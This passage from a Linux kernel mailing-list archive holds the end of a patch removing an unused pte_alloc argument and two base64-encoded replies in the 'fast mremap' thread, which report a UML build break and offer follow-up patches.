+		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
 		if (extent > next - new_addr)
diff --git a/mm/userfaultfd.c b/mm/userfaultfd.c
index 5029f241908f..f05c8bc38ca5 100644
--- a/mm/userfaultfd.c
+++ b/mm/userfaultfd.c
@@ -513,7 +513,7 @@ static __always_inline ssize_t __mcopy_atomic(struct mm_struct *dst_mm,
 			break;
 		}
 		if (unlikely(pmd_none(dst_pmdval)) &&
-		    unlikely(__pte_alloc(dst_mm, dst_pmd, dst_addr))) {
+		    unlikely(__pte_alloc(dst_mm, dst_pmd))) {
 			err = -ENOMEM;
 			break;
 		}
diff --git a/virt/kvm/arm/mmu.c b/virt/kvm/arm/mmu.c
index 5eca48bdb1a6..0a36b1708b76 100644
--- a/virt/kvm/arm/mmu.c
+++ b/virt/kvm/arm/mmu.c
@@ -628,7 +628,7 @@ static int create_hyp_pmd_mappings(pud_t *pud, unsigned long start,
 		BUG_ON(pmd_sect(*pmd));
 
 		if (pmd_none(*pmd)) {
-			pte = pte_alloc_one_kernel(NULL, addr);
+			pte = pte_alloc_one_kernel(NULL);
 			if (!pte) {
 				kvm_err("Cannot allocate Hyp pte\n");
 				return -ENOMEM;
-- 
2.19.1.930.g4563a0d9d0-goog

From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Richard Weinberger <richard@nod.at>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 0/3] Add support for fast mremap
Date: Sat, 03 Nov 2018 10:15:11 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <6886607.O3ZT5bM3Cy@blindfold>
References: <20181103040041.7085-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1541236414 1243 195.159.176.226 (3 Nov 2018 09:13:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 09:13:34 +0000 (UTC)
Cc: Joel Fernandes <joelaf@google.com>, linux-mips@linux-mips.org,
 Rich Felker <dalias@libc.org>, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org, linux-ia64@vge,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 r.kernel.org@lithops.sigma-star.at, hughd@google.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, kasan-dev@googlegroups.com
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 10:13:24 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gIrzg-0008Ub-28
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 10:13:24 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-ID:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=20nQcWQR/fvtg+bmbk0siud4A721UrO5MXmYRHidelA=; b=J2ZS0emCmhCI+M
	jKAdldsSbfV6oU+xlwwD60xyIh58vBXGFbW6MbknogYhqOXV/M3k27LU9XS7YirXmzd/zx1d1gRsC
	nGHCc/2gRgN/sAFn+ggkDyHGKn/pJAd0SwLk9UbeIVMXCWHqgXKPpbaJqvwokNMjh8iJ1nRPzv/Wb
	TxZuozl5oqZ33MnSCpnA7CLe8BWRbVG0HzZUOprI7le4ICOE4mXLN0pke/mJHVBAi+9XcRg9LvHx3
	DxhDsmfR5yH4kLDqtiMBN6ibZGQyf/whsPsZN1v/cSgUqw70h7aks0QRTDld+zde7AuPp5jzis6kf
	uA1P+fst/PXZyH/WW5uQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIs1l-0002sp-6q; Sat, 03 Nov 2018 09:15:33 +0000
Original-Received: from lithops.sigma-star.at ([195.201.40.130])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIs1g-0002qr-BP; Sat, 03 Nov 2018 09:15:30 +0000
Original-Received: from localhost (localhost [127.0.0.1])
 by lithops.sigma-star.at (Postfix) with ESMTP id 0885C606D487;
 Sat,  3 Nov 2018 10:15:15 +0100 (CET)
Original-Received: from lithops.sigma-star.at ([127.0.0.1])
 by localhost (lithops.sigma-star.at [127.0.0.1]) (amavisd-new, port 10032)
 with ESMTP id POaZfqxv8zrK; Sat,  3 Nov 2018 10:15:14 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
 by lithops.sigma-star.at (Postfix) with ESMTP id 81CD7606C48C;
 Sat,  3 Nov 2018 10:15:14 +0100 (CET)
Original-Received: from lithops.sigma-star.at ([127.0.0.1])
 by localhost (lithops.sigma-star.at [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id 6U7XB2Wlq2pf; Sat,  3 Nov 2018 10:15:14 +0100 (CET)
Original-Received: from blindfold.localnet (213-47-184-186.cable.dynamic.surfer.at
 [213.47.184.186])
 by lithops.sigma-star.at (Postfix) with ESMTPSA id 440E1609F82F;
 Sat,  3 Nov 2018 10:15:12 +0100 (CET)
In-Reply-To: <20181103040041.7085-1-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_021528_687996_7D42EA29 
X-CRM114-Status: GOOD (  13.77  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.0 T_SPF_PERMERROR        SPF: test of record failed (permerror)
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4686 gmane.linux.ports.mips.general:67287 gmane.linux.ports.sh.devel:57739 gmane.linux.kernel.mm:206336 gmane.linux.ports.sparc:28716 gmane.linux.ports.riscv:1351 gmane.comp.emulators.kvm.arm.devel:19663 gmane.linux.ports.hexagon:1995 gmane.linux.ports.parisc:29264 gmane.linux.kernel:2914539 gmane.linux.ports.alpha:5407 gmane.linux.ports.ppc64.devel:165209
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4686>

Sm9lbCwKCkFtIFNhbXN0YWcsIDMuIE5vdmVtYmVyIDIwMTgsIDA1OjAwOjM4IENFVCBzY2hyaWVi
IEpvZWwgRmVybmFuZGVzOgo+IEhpLAo+IEhlcmUgaXMgdGhlIGxhdGVzdCAiZmFzdCBtcmVtYXAi
IHNlcmllcy4gVGhpcyBqdXN0IGEgcmVwb3N0IHdpdGggS2lyaWxsJ3MKPiBBY2tlZC1ieXMgYWRk
ZWQuIEkgd291bGQgbGlrZSB0aGlzIHRvIGJlIGNvbnNpZGVyZWQgZm9yIGxpbnV4IC1uZXh0LiAg
SSBhbHNvCj4gZHJvcHBlZCB0aGUgQ09ORklHIGVuYWJsZW1lbnQgcGF0Y2ggZm9yIGFybTY0IHNp
bmNlIEkgYW0geWV0IHRvIHRlc3QgaXQgd2l0aAo+IHRoZSBuZXcgVExCIGZsdXNoaW5nIGNvZGUg
dGhhdCBpcyBpbiB2ZXJ5IHJlY2VudCBrZXJuZWwgcmVsZWFzZXMuIChOb25lIG9mIG15Cj4gYXJt
NjQgZGV2aWNlcyBydW4gbWFpbmxpbmUgcmlnaHQgbm93Likgc28gSSB3aWxsIHBvc3QgdGhlIGFy
bTY0IGVuYWJsZW1lbnQgb25jZQo+IEkgZ2V0IHRvIHRoYXQuIFRoZSBwZXJmb3JtYW5jZSBudW1i
ZXJzIGluIHRoZSBzZXJpZXMgYXJlIGZvciB4ODYuCj4gCj4gTGlzdCBvZiBwYXRjaGVzIGluIHNl
cmllczoKPiAKPiAoMSkgbW06IHNlbGVjdCBIQVZFX01PVkVfUE1EIGluIHg4NiBmb3IgZmFzdGVy
IG1yZW1hcAo+IAo+ICgyKSBtbTogc3BlZWQgdXAgbXJlbWFwIGJ5IDIweCBvbiBsYXJnZSByZWdp
b25zICh2NCkKPiB2MS0+djI6IEFkZGVkIHN1cHBvcnQgZm9yIHBlci1hcmNoIGVuYWJsZW1lbnQg
KEtpcmlsbCBTaHV0ZW1vdikKPiB2Mi0+djM6IFVwZGF0ZWQgY29tbWl0IG1lc3NhZ2UgdG8gc3Rh
dGUgdGhlIG9wdGltaXphdGlvbiBtYXkgYWxzbwo+IAlydW4gZm9yIG5vbi10aHAgdHlwZSBvZiBz
eXN0ZW1zIChEYW5pZWwgQ29sKS4KPiB2My0+djQ6IFJlbW92ZSB1c2VsZXNzIHBtZF9sb2NrIGNo
ZWNrIChLaXJpbGwgU2h1dGVtb3YpCj4gCVJlYmFzZWQgb250b3Agb2YgTGludXMncyBtYXN0ZXIs
IHVwZGF0ZWQgcGVyZiByZXN1bHRzIGJhc2VkCj4gICAgICAgICBvbiB4ODYgdGVzdGluZy4gQWRk
ZWQgS2lyaWxsJ3MgQWNrcy4KPiAKPiAoMykgbW06IHRyZWV3aWRlOiByZW1vdmUgdW51c2VkIGFk
ZHJlc3MgYXJndW1lbnQgZnJvbSBwdGVfYWxsb2MgZnVuY3Rpb25zICh2MikKPiB2MS0+djI6IGZp
eCBhcmNoL3VtLyBwcm90b3R5cGUgd2hpY2ggd2FzIG1pc3NlZCBpbiB2MSAoQW50b24gSXZhbm92
KQo+ICAgICAgICAgdXBkYXRlIGNoYW5nZWxvZyB3aXRoIG1hbnVhbCBmaXh1cHMgZm9yIG02OGsg
YW5kIG1pY3JvYmxhemUuCj4gCj4gbm90IGluY2x1ZGVkIC0gKDQpIG1tOiBzZWxlY3QgSEFWRV9N
T1ZFX1BNRCBpbiBhcm02NCBmb3IgZmFzdGVyIG1yZW1hcAo+ICAgICBUaGlzIHBhdGNoIGlzIGRy
b3BwZWQgc2luY2UgbGFzdCBwb3N0aW5nIHBlbmRpbmcgZnVydGhlciBwZXJmb3JtYW5jZQo+ICAg
ICB0ZXN0aW5nIG9uIGFybTY0IHdpdGggbmV3IFRMQiBnYXRoZXIgdXBkYXRlcy4gU2VlIG5vdGVz
IGluIHBhdGNoCj4gICAgIHRpdGxlZCAibW06IHNwZWVkIHVwIG1yZW1hcCBieSA1MDB4IG9uIGxh
cmdlIHJlZ2lvbnMiIGZvciBtb3JlCj4gICAgIGRldGFpbHMuCj4gCgpUaGlzIGJyZWFrcyBVTUwg
YnVpbGQ6CiAgQ0MgICAgICBtbS9tcmVtYXAubwptbS9tcmVtYXAuYzogSW4gZnVuY3Rpb24g4oCY
bW92ZV9ub3JtYWxfcG1k4oCZOgptbS9tcmVtYXAuYzoyMjk6MjogZXJyb3I6IGltcGxpY2l0IGRl
Y2xhcmF0aW9uIG9mIGZ1bmN0aW9uIOKAmHNldF9wbWRfYXTigJk7IGRpZCB5b3UgbWVhbiDigJhz
ZXRfcHRlX2F04oCZPyBbLVdlcnJvcj1pbXBsaWNpdC1mdW5jdGlvbi1kZWNsYXJhdGlvbl0KICBz
ZXRfcG1kX2F0KG1tLCBuZXdfYWRkciwgbmV3X3BtZCwgcG1kKTsKICBefn5+fn5+fn5+CiAgc2V0
X3B0ZV9hdAogIENDICAgICAgY3J5cHRvL3JuZy5vCiAgQ0MgICAgICBmcy9kaXJlY3QtaW8ubwpj
YzE6IHNvbWUgd2FybmluZ3MgYmVpbmcgdHJlYXRlZCBhcyBlcnJvcnMKClRvIHRlc3QgeW91cnNl
bGYsIGp1c3QgcnVuIG9uIGEgeDg2IGJveDoKJCBtYWtlIGRlZmNvbmZpZyBBUkNIPXVtCiQgbWFr
ZSBsaW51eCBBUkNIPXVtCgpUaGFua3MsCi8vcmljaGFyZAoKCgpfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpsaW51eC1zbnBzLWFyYyBtYWlsaW5nIGxpc3QK
bGludXgtc25wcy1hcmNAbGlzdHMuaW5mcmFkZWFkLm9yZwpodHRwOi8vbGlzdHMuaW5mcmFkZWFk
Lm9yZy9tYWlsbWFuL2xpc3RpbmZvL2xpbnV4LXNucHMtYXJj


From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 0/3] Add support for fast mremap
Date: Sat, 3 Nov 2018 09:24:05 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <e1d039a5-9c83-b9b9-98b5-d39bc48f04e0@kot-begemot.co.uk>
References: <20181103040041.7085-1-joelaf@google.com>
 <6886607.O3ZT5bM3Cy@blindfold>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1541236987 7720 195.159.176.226 (3 Nov 2018 09:23:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 09:23:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.2.1
Cc: Joel Fernandes <joelaf@google.com>, linux-mips@linux-mips.org,
 Rich Felker <dalias@libc.org>, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org, linux-ia64@vge,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 r.kernel.org@lithops.sigma-star.at, hughd@google.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, kasan-dev@googlegroups.com,
To: Richard Weinberger <richard@nod.at>,
 Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 10:22:57 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gIs8u-0001mz-HZ
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 10:22:56 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:Message-ID:From:
	References:To:Subject:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=a2Sp7Y4Zo3VSH74A0BjeOgDM1rzLEiYOD4zD8zL+Bn0=; b=LP09V84DYBBlydVV/GbyWWhnu
	ru66My9sRLdL+2lOV2VaFLmYe6Cq4ppvG1ZiZELDgAYwtqFdnwhiuBGq8YKMAfT4lD31FMahFk0TN
	ooJyd6YosT7BVb85t6vjIeUTSrY/ly2BL2wQTmtmOUZQKvQVdakJWrWrn6VA1a5LhHkyTLYdWEvso
	mQm9ASPvzwXNP8KcewntqbRksEy682qH8iFsAEFjW0+BTj6FggvfkKUSJBhUiij9p3jeHhrll4jwf
	7tDfMSuAUoLD3MMQ2ofGAEZvaLC2vJMTWT4IVlAgzp3GvEOT4+xrrctvGocX26qpsZpGDy8d9/pvE
	0hOV33haw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIsB0-0005pJ-2c; Sat, 03 Nov 2018 09:25:06 +0000
Original-Received: from ivanoab6.miniserver.com ([5.153.251.140]
 helo=www.kot-begemot.co.uk)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIsAt-0005JT-09; Sat, 03 Nov 2018 09:25:04 +0000
Original-Received: from [192.168.17.6] (helo=smaug.kot-begemot.co.uk)
 by www.kot-begemot.co.uk with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.89) (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gIsA2-0004dx-Ls; Sat, 03 Nov 2018 09:24:06 +0000
Original-Received: from wyvern.kot-begemot.co.uk ([192.168.3.72])
 by smaug.kot-begemot.co.uk with esmtps
 (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.89)
 (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gIsA2-00028s-8O; Sat, 03 Nov 2018 09:24:06 +0000
In-Reply-To: <6886607.O3ZT5bM3Cy@blindfold>
Content-Language: en-US
X-Clacks-Overhead: GNU Terry Pratchett
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_022502_500008_812ACD09 
X-CRM114-Status: GOOD (  18.04  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4687 gmane.linux.ports.mips.general:67288 gmane.linux.ports.sh.devel:57740 gmane.linux.kernel.mm:206337 gmane.linux.ports.sparc:28717 gmane.linux.ports.riscv:1352 gmane.linux.ports.hexagon:1996 gmane.comp.emulators.kvm.arm.devel:19664 gmane.linux.ports.parisc:29265 gmane.linux.kernel:2914542 gmane.linux.ports.alpha:5408 gmane.linux.ports.ppc64.devel:165210
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4687>

T24gMDMvMTEvMjAxOCAwOToxNSwgUmljaGFyZCBXZWluYmVyZ2VyIHdyb3RlOgo+IEpvZWwsCj4K
PiBBbSBTYW1zdGFnLCAzLiBOb3ZlbWJlciAyMDE4LCAwNTowMDozOCBDRVQgc2NocmllYiBKb2Vs
IEZlcm5hbmRlczoKPj4gSGksCj4+IEhlcmUgaXMgdGhlIGxhdGVzdCAiZmFzdCBtcmVtYXAiIHNl
cmllcy4gVGhpcyBqdXN0IGEgcmVwb3N0IHdpdGggS2lyaWxsJ3MKPj4gQWNrZWQtYnlzIGFkZGVk
LiBJIHdvdWxkIGxpa2UgdGhpcyB0byBiZSBjb25zaWRlcmVkIGZvciBsaW51eCAtbmV4dC4gIEkg
YWxzbwo+PiBkcm9wcGVkIHRoZSBDT05GSUcgZW5hYmxlbWVudCBwYXRjaCBmb3IgYXJtNjQgc2lu
Y2UgSSBhbSB5ZXQgdG8gdGVzdCBpdCB3aXRoCj4+IHRoZSBuZXcgVExCIGZsdXNoaW5nIGNvZGUg
dGhhdCBpcyBpbiB2ZXJ5IHJlY2VudCBrZXJuZWwgcmVsZWFzZXMuIChOb25lIG9mIG15Cj4+IGFy
bTY0IGRldmljZXMgcnVuIG1haW5saW5lIHJpZ2h0IG5vdy4pIHNvIEkgd2lsbCBwb3N0IHRoZSBh
cm02NCBlbmFibGVtZW50IG9uY2UKPj4gSSBnZXQgdG8gdGhhdC4gVGhlIHBlcmZvcm1hbmNlIG51
bWJlcnMgaW4gdGhlIHNlcmllcyBhcmUgZm9yIHg4Ni4KPj4KPj4gTGlzdCBvZiBwYXRjaGVzIGlu
IHNlcmllczoKPj4KPj4gKDEpIG1tOiBzZWxlY3QgSEFWRV9NT1ZFX1BNRCBpbiB4ODYgZm9yIGZh
c3RlciBtcmVtYXAKPj4KPj4gKDIpIG1tOiBzcGVlZCB1cCBtcmVtYXAgYnkgMjB4IG9uIGxhcmdl
IHJlZ2lvbnMgKHY0KQo+PiB2MS0+djI6IEFkZGVkIHN1cHBvcnQgZm9yIHBlci1hcmNoIGVuYWJs
ZW1lbnQgKEtpcmlsbCBTaHV0ZW1vdikKPj4gdjItPnYzOiBVcGRhdGVkIGNvbW1pdCBtZXNzYWdl
IHRvIHN0YXRlIHRoZSBvcHRpbWl6YXRpb24gbWF5IGFsc28KPj4gCXJ1biBmb3Igbm9uLXRocCB0
eXBlIG9mIHN5c3RlbXMgKERhbmllbCBDb2wpLgo+PiB2My0+djQ6IFJlbW92ZSB1c2VsZXNzIHBt
ZF9sb2NrIGNoZWNrIChLaXJpbGwgU2h1dGVtb3YpCj4+IAlSZWJhc2VkIG9udG9wIG9mIExpbnVz
J3MgbWFzdGVyLCB1cGRhdGVkIHBlcmYgcmVzdWx0cyBiYXNlZAo+PiAgICAgICAgICBvbiB4ODYg
dGVzdGluZy4gQWRkZWQgS2lyaWxsJ3MgQWNrcy4KPj4KPj4gKDMpIG1tOiB0cmVld2lkZTogcmVt
b3ZlIHVudXNlZCBhZGRyZXNzIGFyZ3VtZW50IGZyb20gcHRlX2FsbG9jIGZ1bmN0aW9ucyAodjIp
Cj4+IHYxLT52MjogZml4IGFyY2gvdW0vIHByb3RvdHlwZSB3aGljaCB3YXMgbWlzc2VkIGluIHYx
IChBbnRvbiBJdmFub3YpCj4+ICAgICAgICAgIHVwZGF0ZSBjaGFuZ2Vsb2cgd2l0aCBtYW51YWwg
Zml4dXBzIGZvciBtNjhrIGFuZCBtaWNyb2JsYXplLgo+Pgo+PiBub3QgaW5jbHVkZWQgLSAoNCkg
bW06IHNlbGVjdCBIQVZFX01PVkVfUE1EIGluIGFybTY0IGZvciBmYXN0ZXIgbXJlbWFwCj4+ICAg
ICAgVGhpcyBwYXRjaCBpcyBkcm9wcGVkIHNpbmNlIGxhc3QgcG9zdGluZyBwZW5kaW5nIGZ1cnRo
ZXIgcGVyZm9ybWFuY2UKPj4gICAgICB0ZXN0aW5nIG9uIGFybTY0IHdpdGggbmV3IFRMQiBnYXRo
ZXIgdXBkYXRlcy4gU2VlIG5vdGVzIGluIHBhdGNoCj4+ICAgICAgdGl0bGVkICJtbTogc3BlZWQg
dXAgbXJlbWFwIGJ5IDUwMHggb24gbGFyZ2UgcmVnaW9ucyIgZm9yIG1vcmUKPj4gICAgICBkZXRh
aWxzLgo+Pgo+IFRoaXMgYnJlYWtzIFVNTCBidWlsZDoKPiAgICBDQyAgICAgIG1tL21yZW1hcC5v
Cj4gbW0vbXJlbWFwLmM6IEluIGZ1bmN0aW9uIOKAmG1vdmVfbm9ybWFsX3BtZOKAmToKPiBtbS9t
cmVtYXAuYzoyMjk6MjogZXJyb3I6IGltcGxpY2l0IGRlY2xhcmF0aW9uIG9mIGZ1bmN0aW9uIOKA
mHNldF9wbWRfYXTigJk7IGRpZCB5b3UgbWVhbiDigJhzZXRfcHRlX2F04oCZPyBbLVdlcnJvcj1p
bXBsaWNpdC1mdW5jdGlvbi1kZWNsYXJhdGlvbl0KPiAgICBzZXRfcG1kX2F0KG1tLCBuZXdfYWRk
ciwgbmV3X3BtZCwgcG1kKTsKPiAgICBefn5+fn5+fn5+Cj4gICAgc2V0X3B0ZV9hdAo+ICAgIEND
ICAgICAgY3J5cHRvL3JuZy5vCj4gICAgQ0MgICAgICBmcy9kaXJlY3QtaW8ubwo+IGNjMTogc29t
ZSB3YXJuaW5ncyBiZWluZyB0cmVhdGVkIGFzIGVycm9ycwo+Cj4gVG8gdGVzdCB5b3Vyc2VsZiwg
anVzdCBydW4gb24gYSB4ODYgYm94Ogo+ICQgbWFrZSBkZWZjb25maWcgQVJDSD11bQo+ICQgbWFr
ZSBsaW51eCBBUkNIPXVtCj4KPiBUaGFua3MsCj4gLy9yaWNoYXJkCj4KPgo+CgpVTSBzb21laG93
IG1hbmFnZWQgdG8gbWlzcyBvbmUgb2YgdGhlIDMtbGV2ZWwgZnVuY3Rpb25zLCBJIHNlbnQgYSBw
YXRjaCAKYXQgc29tZSBwb2ludCB0byBhZGQgdG8gdGhlIG1tcmVtYXAgc2VyaWVzLCBidXQgaXQg
bG9va3MgbGlrZSBpdCBkaWQgbm90IApnZXQgaW5jbHVkZWQgaW4gdGhlIGZpbmFsIHZlcnNpb24u
CgpZb3UgbmVlZCB0aGVzZSB0d28gaW5jcmVtZW50YWwgb24gdG9wIG9mIEpvZWwncyBwYXRjaC4g
UmljaGFyZCAtIGZlZWwgCmZyZWUgdG8gcmVsb2NhdGUgdGhlIGFjdHVhbCBpbXBsZW1lbnRhdGlv
biBvZiB0aGUgc2V0X3BnZF9hdCBlbHNld2hlcmUgLSAKSSBwdXQgaXQgYXQgdGhlIGVuZCBvZiB0
bGIuYwoKZGlmZiAtLWdpdCBhL2FyY2gvdW0vaW5jbHVkZS9hc20vcGd0YWJsZS5oIGIvYXJjaC91
bS9pbmNsdWRlL2FzbS9wZ3RhYmxlLmgKaW5kZXggNzQ4NTM5OGQwNzM3Li4xNjkyZGE1NWU2M2Eg
MTAwNjQ0Ci0tLSBhL2FyY2gvdW0vaW5jbHVkZS9hc20vcGd0YWJsZS5oCisrKyBiL2FyY2gvdW0v
aW5jbHVkZS9hc20vcGd0YWJsZS5oCkBAIC0zNTksNCArMzU5LDcgQEAgZG8ge8KgwqDCoMKgwqDC
